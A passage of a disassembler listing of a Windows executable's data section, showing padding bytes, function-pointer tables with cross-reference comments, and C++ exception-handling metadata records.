		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		align 4
		dd 3E3h	dup(0)
off_43E000	dd offset sub_4017C6	; DATA XREF: sub_4036D0+3FEo
off_43E004	dd offset dword_4367D0	; DATA XREF: sub_403C70+2o
off_43E008	dd offset off_402009	; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C	dd offset sub_4021F8	; DATA XREF: ___:00407075o
off_43E010	dd offset loc_402171	; DATA XREF: sub_409AE0+4o
					; sub_409B40+Bo ...
off_43E014	dd offset loc_402027	; DATA XREF: sub_40ADC0+2o
					; sub_40AE10+1Co
		dd offset dword_4367D0
		align 10h
off_43E020	dd offset loc_401ACD	; DATA XREF: ___:0040B118o
					; sub_40B170+1Eo
flt_43E024	dd 1.0			; DATA XREF: ___:0040B7C6r
off_43E028	dd offset sub_401A3C	; DATA XREF: sub_40F600+157o
					; sub_40FDA0+1Do
		dd offset sub_40212B
		dd 0
off_43E034	dd offset sub_401AB9	; DATA XREF: sub_40F600+142o
					; sub_40FDA0+23o
off_43E038	dd offset loc_40115E	; DATA XREF: sub_411860+36o
					; sub_411910+1Do
		dd offset loc_401FE6
		dd 0
off_43E044	dd offset sub_4014BF	; DATA XREF: ___:0041318Do
					; sub_413220+1Fo
		dd offset sub_401CF8
		align 10h
off_43E050	dd offset sub_4019BF	; DATA XREF: sub_416C00+6o
					; sub_417DF0+8o
		dd offset sub_4020A9
		dd 0
off_43E05C	dd offset loc_401C99	; DATA XREF: sub_416C60+6o
					; sub_417E20+8o
		dd offset sub_401230
		align 8
off_43E068	dd offset loc_40191A	; DATA XREF: sub_416CC0o sub_41FBD0+8o
		dd offset sub_401CDF
		dd 0
off_43E074	dd offset sub_40111D	; DATA XREF: sub_416D10o
					; sub_4190B0+36o
off_43E078	dd offset loc_4014A1	; DATA XREF: sub_417BC0+68o
off_43E07C	dd offset sub_401064	; DATA XREF: sub_417C60+8Bo
off_43E080	dd offset sub_40138E	; DATA XREF: sub_417D30+74o
off_43E084	dd offset loc_401B6D	; DATA XREF: sub_417E50+7Bo
off_43E088	dd offset loc_40202C	; DATA XREF: sub_417F10+7Bo
off_43E08C	dd offset loc_401F1E	; DATA XREF: sub_417FD0+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Fh,	40h, 0
off_43E094	dd offset loc_401FD7	; DATA XREF: sub_418080+3Eo
off_43E098	dd offset sub_401E4C	; DATA XREF: sub_418100+3Eo
off_43E09C	dd offset loc_40100A	; DATA XREF: sub_418180+10o
off_43E0A0	dd offset loc_4010B4	; DATA XREF: sub_4181B0+4Bo
off_43E0A4	dd offset sub_401BA4	; DATA XREF: sub_418230+10o
off_43E0A8	dd offset sub_401712	; DATA XREF: sub_418260+10o
off_43E0AC	dd offset sub_401613	; DATA XREF: sub_418290+6Bo
dbl_43E0B0	dq -3.0517578125e-5	; DATA XREF: sub_4198C0+22r
		dd 0
off_43E0BC	dd offset sub_401AF5	; DATA XREF: sub_41A010+Bo
					; sub_41A110+6o
off_43E0C0	dd offset sub_401E74	; DATA XREF: sub_41AFE0+Do sub_41B040o
off_43E0C4	dd offset sub_4013FC	; DATA XREF: ___:0041B3A2o
					; ___:0041B48Do
		dd offset sub_40167C
		align 10h
off_43E0D0	dd offset loc_4019E7	; DATA XREF: sub_41D670+77o
					; sub_41D760+1Do
		dd offset sub_401C80
		dd 0
off_43E0DC	dd offset sub_4011FE	; DATA XREF: sub_426450+32o
		dd offset sub_401A64
		dd offset sub_401A41
		dd 0
off_43E0EC	dd offset loc_4016D1	; DATA XREF: sub_4264C0+6Ao
					; sub_426560+1Do
		dd offset sub_401A64
		dd offset dword_4367D0
		dd 0
off_43E0FC	dd offset loc_401AAF	; DATA XREF: sub_4269A0+32o
		dd offset sub_401A64
		dd offset sub_401366
		dd 0
off_43E10C	dd offset sub_40181B	; DATA XREF: sub_426EB0+32o
		dd offset sub_401A64
		dd offset sub_401E92
		dd 0
off_43E11C	dd offset sub_40222A	; DATA XREF: sub_427590+32o
		dd offset sub_401A64
		dd offset sub_401A05
		dd 0
off_43E12C	dd offset sub_401C2B	; DATA XREF: sub_427DC0+32o
		dd offset sub_4021A8
		dd offset sub_4015AF
		dd 0
off_43E13C	dd offset loc_402068	; DATA XREF: sub_427E30+7Ao
					; sub_427EF0+1Do
		dd offset sub_4021A8
		dd offset dword_4367D0
		dd 0
off_43E14C	dd offset sub_4021B2	; DATA XREF: sub_428160+4Bo
					; sub_428250+10o
		dd offset sub_4021A8
		dd offset sub_401D2A
		dd 0
off_43E15C	dd offset loc_40112C	; DATA XREF: sub_4299C0+32o
					; sub_429A60+9o
		dd offset sub_4021A8
		dd offset sub_40137A
		dd 0
off_43E16C	dd offset loc_401B04	; DATA XREF: sub_429D00+32o
		dd offset sub_4021A8
		dd offset sub_4010AF
		dd 0
off_43E17C	dd offset sub_4017A8	; DATA XREF: sub_42A090+32o
		dd offset sub_4021A8
		dd offset sub_40188E
		dd 0
off_43E18C	dd offset sub_4020D1	; DATA XREF: sub_42B1D0+27o
dword_43E190	dd 0				dd 8, 0
off_43E19C	dd offset dword_4367D0	; DATA XREF: sub_42B240+39o
off_43E1A0	dd offset sub_401F41	; DATA XREF: ___:0042B312o
		dd offset sub_4021A8
		dd offset sub_40134D
		align 10h
off_43E1B0	dd offset sub_401B22	; DATA XREF: sub_42B480+32o
		dd offset sub_4021A8
		dd offset sub_40152D
		align 10h
		dd offset loc_4015F0
		dd offset sub_4021A8
		dd offset sub_4019E2
		align 10h
		dd offset dword_43E348
off_43E1D4	dd offset dword_436800+11h ; DATA XREF:	___:off_4438B0o
					; ___:off_4438D0o ...
		dd 0FFFFFFFFh, 436BACh,	436BC0h, 4Dh dup(0)
off_43E318	dd offset off_446CD0	; DATA XREF: ___:0043E330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E318
		dd 0
		db    0			; DATA XREF: ___:0043E358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43E330h
dword_43E348	dd 3 dup(0)			dd offset off_446CD0
		dd offset unk_43E338
		dd 45h dup(0)
dword_43E470	dd 19930520h, 5, 43E490h, 5 dup(0)		dd 0FFFFFFFFh, 437B2Ch,	0
		dd offset dword_436FD0+0B30h
		dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0)
dword_43E4C0	dd 19930520h, 3Dh, 43E4E0h, 5 dup(0)		dd 0FFFFFFFFh, 437B70h,	0
		dd offset loc_437B7B
		dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh
		dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah
		dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h,	0Dh, 437C2Eh, 0Eh
		dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h,	11h, 437C66h, 12h
		dd 437C74h, 13h, 437C82h, 14h, 437C90h,	15h, 437C9Eh, 16h
		dd 437CACh, 17h, 437CBAh, 18h, 437CC8h,	19h, 437CD6h, 1Ah
		dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h,	1Dh, 437D0Eh, 1Eh
		dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h,	21h, 437D46h, 22h
		dd 437D54h, 23h, 437D62h, 24h, 437D70h,	25h, 437D7Eh, 26h
		dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h,	29h, 437DB6h, 2Ah
		dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h,	2Dh, 437DEEh, 2Eh
		dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h,	31h, 437E26h, 32h
		dd 437E34h, 33h, 437E42h, 34h, 437E50h,	35h, 437E5Eh, 36h
		dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h,	39h, 437E96h, 3Ah
		dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0)
dword_43E700	dd 19930520h, 1, 43E720h, 5 dup(0)		dd 0FFFFFFFFh, 437FA0h,	2 dup(0)
dword_43E730	dd 19930520h, 2, 43E750h, 5 dup(0)		dd 0FFFFFFFFh, 437FC0h,	0
		dd offset loc_437FC8
		dd 2 dup(0)
dword_43E768	dd 19930520h, 2, 43E788h, 5 dup(0)		dd 0FFFFFFFFh, 437FF0h,	0
		dd offset loc_437FF8
		align 10h
dword_43E7A0	dd 19930520h, 1, 43E7C0h, 5 dup(0)		dd 0FFFFFFFFh, 438020h,	2 dup(0)
dword_43E7D0	dd 19930520h, 7, 43E7F0h, 5 dup(0)		dd 0FFFFFFFFh, 438040h,	0
		dd offset loc_438048
		dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh
		dd 2 dup(0)
dword_43E830	dd 19930520h, 7, 43E850h, 5 dup(0)		dd 0FFFFFFFFh, 4380C0h,	0
		dd offset loc_4380C8
		dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh
		dd 2 dup(0)
dword_43E890	dd 19930520h, 11h, 43E8B0h, 5 dup(0)		dd 0FFFFFFFFh, 438140h,	0FFFFFFFFh, 438148h, 0FFFFFFFFh
		dd 438150h, 0FFFFFFFFh,	438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh
		dd 438168h, 0FFFFFFFFh,	438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh
		dd 438180h, 0FFFFFFFFh,	438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh
		dd 438198h, 0FFFFFFFFh,	4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh
		dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h,	4 dup(0)
dword_43E948	dd 19930520h, 0Bh, 43E968h, 5 dup(0)		dd 0FFFFFFFFh, 438200h,	0
		dd offset loc_438208
		dd 0FFFFFFFFh, 438210h,	2, 438218h, 0FFFFFFFFh,	438220h
		dd 0FFFFFFFFh, 438228h,	0FFFFFFFFh, 438230h, 0FFFFFFFFh
		dd 438238h, 7, 438243h,	7, 43824Bh, 9, 438253h,	4 dup(0)
dword_43E9D0	dd 19930520h, 31h, 43E9F0h, 5 dup(0)		dd 0FFFFFFFFh, 438280h,	0
		dd offset loc_43828B
		dd 0
		dd offset loc_438296
		dd 0FFFFFFFFh, 4382A1h,	0FFFFFFFFh, 4382ACh, 4,	4382B7h
		dd 0FFFFFFFFh, 4382C2h,	6, 4382CDh, 6, 4382D8h,	8, 4382E3h
		dd 0FFFFFFFFh, 4382EEh,	0Ah, 4382F9h, 0Ah, 438304h, 0Ah
		dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h,	0Ah, 438330h, 0FFFFFFFFh
		dd 43833Bh, 11h, 438346h, 11h, 438351h,	0FFFFFFFFh, 43835Ch
		dd 0FFFFFFFFh, 438367h,	15h, 438372h, 0FFFFFFFFh, 43837Dh
		dd 0FFFFFFFFh, 438388h,	18h, 438393h, 0FFFFFFFFh, 43839Eh
		dd 0FFFFFFFFh, 4383A9h,	0FFFFFFFFh, 4383B4h, 0FFFFFFFFh
		dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h,	1Dh, 4383E0h, 1Dh
		dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h,	22h, 43840Ch, 22h
		dd 438417h, 22h, 438422h, 22h, 43842Dh,	22h, 438438h, 22h
		dd 438443h, 22h, 43844Eh, 22h, 438459h,	22h, 438464h, 22h
		dd 43846Fh, 22h, 43847Ah, 22h, 438485h,	22h, 438490h, 0Ch dup(0)
dword_43EBA8	dd 19930520h, 2, 43EBC8h, 5 dup(0)		dd 0FFFFFFFFh, 438538h,	0
		dd offset loc_438530
		align 10h
dword_43EBE0	dd 19930520h, 2, 43EC00h, 5 dup(0)		dd 0FFFFFFFFh, 43857Bh,	0
		dd offset loc_438570
		dd 2 dup(0)
dword_43EC18	dd 19930520h, 3, 43EC38h, 5 dup(0)		dd 0FFFFFFFFh, 4385B0h,	0
		dd offset loc_4385BB
		dd 0
		dd offset loc_4385C6
		dd 2 dup(0)
dword_43EC58	dd 19930520h, 1, 43EC78h, 5 dup(0)		dd 0FFFFFFFFh, 4385F0h,	2 dup(0)
dword_43EC88	dd 19930520h, 1, 43ECA8h, 5 dup(0)		dd 0FFFFFFFFh, 438610h,	2 dup(0)
dword_43ECB8	dd 19930520h, 2, 43ECD8h, 5 dup(0)		dd 0FFFFFFFFh, 438630h,	0
		dd offset loc_438638
		align 10h
dword_43ECF0	dd 19930520h, 56h, 43ED10h, 5 dup(0)		dd 0FFFFFFFFh, 438650h,	0
		dd offset loc_43865B
		dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h
		dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah
		dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h,	0Dh, 4386DEh, 0Eh
		dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh,	11h, 43870Ah, 12h
		dd 438715h, 13h, 438720h, 14h, 43872Bh,	15h, 438736h, 16h
		dd 438741h, 17h, 43874Ch, 18h, 438757h,	19h, 438762h, 1Ah
		dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h,	1Dh, 43878Eh, 1Eh
		dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh,	1Eh, 4387BAh, 1Eh
		dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh,	1Eh, 4387E6h, 1Eh
		dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh,	1Eh, 438807h, 2Ah
		dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh,	2Dh, 438828h, 1Eh
		dd 438828h, 1Eh, 438833h, 30h, 43883Eh,	1Eh, 43883Eh, 1Eh
		dd 438849h, 33h, 438854h, 1Eh, 438854h,	1Eh, 43885Fh, 36h
		dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h,	39h, 438880h, 1Eh
		dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h,	1Eh, 438896h, 1Eh
		dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh,	1Eh, 4388B7h, 42h
		dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh,	45h, 4388D8h, 1Eh
		dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh,	1Eh, 4388EEh, 1Eh
		dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h,	1Eh, 43890Fh, 4Eh
		dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h,	51h, 438930h, 52h
		dd 43893Bh, 53h, 438946h, 54h, 438951h,	13h dup(0)
		dd offset off_4438B0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	436800h, 2 dup(0)
		dd offset off_4438D0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C2Ah, 2 dup(0)
		dd offset off_4438F8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C30h, 0
dword_43F068	dd 3, 43F048h, 43F028h,	43F008h, 2 dup(0)dword_43F080	dd 0							; ___:0040A997o
		dd offset dword_436A64+1D2h
		dd 0
		dd offset dword_43F068
		dd 2 dup(0)
dword_43F098	dd 19930520h, 1, 43F0B8h, 5 dup(0)		dd 0FFFFFFFFh, 438A30h,	2 dup(0)
dword_43F0C8	dd 19930520h, 1, 43F0E8h, 5 dup(0)		dd 0FFFFFFFFh, 438A50h,	2 dup(0)
dword_43F0F8	dd 19930520h, 3, 43F118h, 5 dup(0)		dd 0FFFFFFFFh, 438A70h,	0
		dd offset loc_438A87
		dd 1, 438A8Fh, 2 dup(0)
dword_43F138	dd 19930520h, 1, 43F158h, 5 dup(0)		dd 0FFFFFFFFh, 438AB0h,	2 dup(0)
dword_43F168	dd 19930520h, 2, 43F188h, 1, 43F198h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F1B0h, 4	dup(0)
		dd offset sub_40AE52
		dd 2 dup(0)
dword_43F1C8	dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F210h, 4	dup(0)
		dd offset sub_40AFD1
		dd 2 dup(0)
dword_43F228	dd 19930520h, 4, 43F248h, 5 dup(0)		dd 0FFFFFFFFh, 438AF0h,	0
		dd offset loc_438AFB
		dd 1, 438B06h, 2, 438B11h, 2 dup(0)
dword_43F270	dd 19930520h, 4, 43F290h, 5 dup(0)		dd 0FFFFFFFFh, 438B40h,	0
		dd offset loc_438B4B
		dd 1, 438B56h, 2, 438B61h, 2 dup(0)
dword_43F2B8	dd 19930520h, 3, 43F2D8h, 5 dup(0)		dd 0FFFFFFFFh, 438B90h,	0FFFFFFFFh, 438B98h, 0FFFFFFFFh
		dd 438BA0h, 2 dup(0)
dword_43F2F8	dd 19930520h, 3, 43F318h, 5 dup(0)		dd 0FFFFFFFFh, 438BC0h,	0
		dd offset loc_438BC8
		dd 1, 438BD0h, 2 dup(0)
dword_43F338	dd 19930520h, 1, 43F358h, 5 dup(0)		dd 0FFFFFFFFh, 438BF0h,	2 dup(0)
dword_43F368	dd 19930520h, 4, 43F388h, 5 dup(0)		dd 0FFFFFFFFh, 438C10h,	0FFFFFFFFh, 438C18h, 0FFFFFFFFh
		dd 438C20h, 2, 438C28h,	2 dup(0)
dword_43F3B0	dd 19930520h, 1, 43F3D0h, 5 dup(0)		dd 0FFFFFFFFh, 438C50h,	2 dup(0)
dword_43F3E0	dd 19930520h, 4, 43F400h, 5 dup(0)		dd 0FFFFFFFFh, 438C70h,	0
		dd offset loc_438C7B
		dd 0
		dd offset loc_438C86
		dd 2, 438C91h, 2 dup(0)
dword_43F428	dd 19930520h, 1, 43F448h, 5 dup(0)		dd 0FFFFFFFFh, 438CC0h,	2 dup(0)
dword_43F458	dd 19930520h, 5, 43F478h, 5 dup(0)		dd 0FFFFFFFFh, 438CE0h,	0
		dd offset loc_438CEB
		dd 0
		dd offset loc_438CF6
		dd 0
		dd offset loc_438D01
		dd 0
		dd offset loc_438D0C
		dd 2 dup(0)
dword_43F4A8	dd 19930520h, 2, 43F4C8h, 5 dup(0)		dd 0FFFFFFFFh, 438D40h,	0
		dd offset loc_438D4B
		align 10h
dword_43F4E0	dd 19930520h, 2, 43F500h, 5 dup(0)		dd 0FFFFFFFFh, 438D70h,	0
		dd offset loc_438D7B
		dd 2 dup(0)
dword_43F518	dd 19930520h, 4, 43F538h, 5 dup(0)		dd 0FFFFFFFFh, 438DA0h,	0FFFFFFFFh, 438DA8h, 0FFFFFFFFh
		dd 438DB0h, 0FFFFFFFFh,	438DB8h, 2 dup(0)
dword_43F560	dd 19930520h, 8, 43F580h, 5 dup(0)		dd 0FFFFFFFFh, 438DE0h,	0
		dd offset loc_438DEB
		dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h
		dd 1, 438E2Dh, 4 dup(0)
dword_43F5D0	dd 19930520h, 0Dh, 43F5F0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0FFFFFFFFh, 438E6Bh, 1,	438E76h
		dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh
		dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh
		dd 438EE4h, 4 dup(0)
dword_43F668	dd 19930520h, 6, 43F688h, 5 dup(0)		dd 0FFFFFFFFh, 438F20h,	0
		dd offset loc_438F28
		dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0)
dword_43F6C0	dd 19930520h, 6, 43F6E0h, 5 dup(0)		dd 0FFFFFFFFh, 438F70h,	0
		dd offset loc_438F78
		dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0)
dword_43F718	dd 19930520h, 3, 43F738h, 5 dup(0)		dd 0FFFFFFFFh, 438FC0h,	0
		dd offset loc_438FC8
		dd 1, 438FD0h, 2 dup(0)
dword_43F758	dd 19930520h, 1, 43F778h, 5 dup(0)		dd 0FFFFFFFFh, 438FF0h,	2 dup(0)
dword_43F788	dd 19930520h, 7, 43F7A8h, 5 dup(0)		dd 0FFFFFFFFh, 439010h,	0
		dd offset loc_439018
		dd 0FFFFFFFFh, 439020h,	0FFFFFFFFh, 439028h, 3,	439030h
		dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0)
dword_43F7E8	dd 19930520h, 24h, 43F808h, 5 dup(0)		dd 0FFFFFFFFh, 439070h,	0
		dd offset loc_439078
		dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h
		dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah
		dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h,	0Dh, 439125h, 0Eh
		dd 439133h, 0Fh, 439141h, 10h, 43914Fh,	11h, 43915Dh, 11h
		dd 439165h, 11h, 43916Dh, 11h, 439175h,	11h, 43917Dh, 11h
		dd 439185h, 11h, 43918Dh, 11h, 439195h,	11h, 43919Dh, 11h
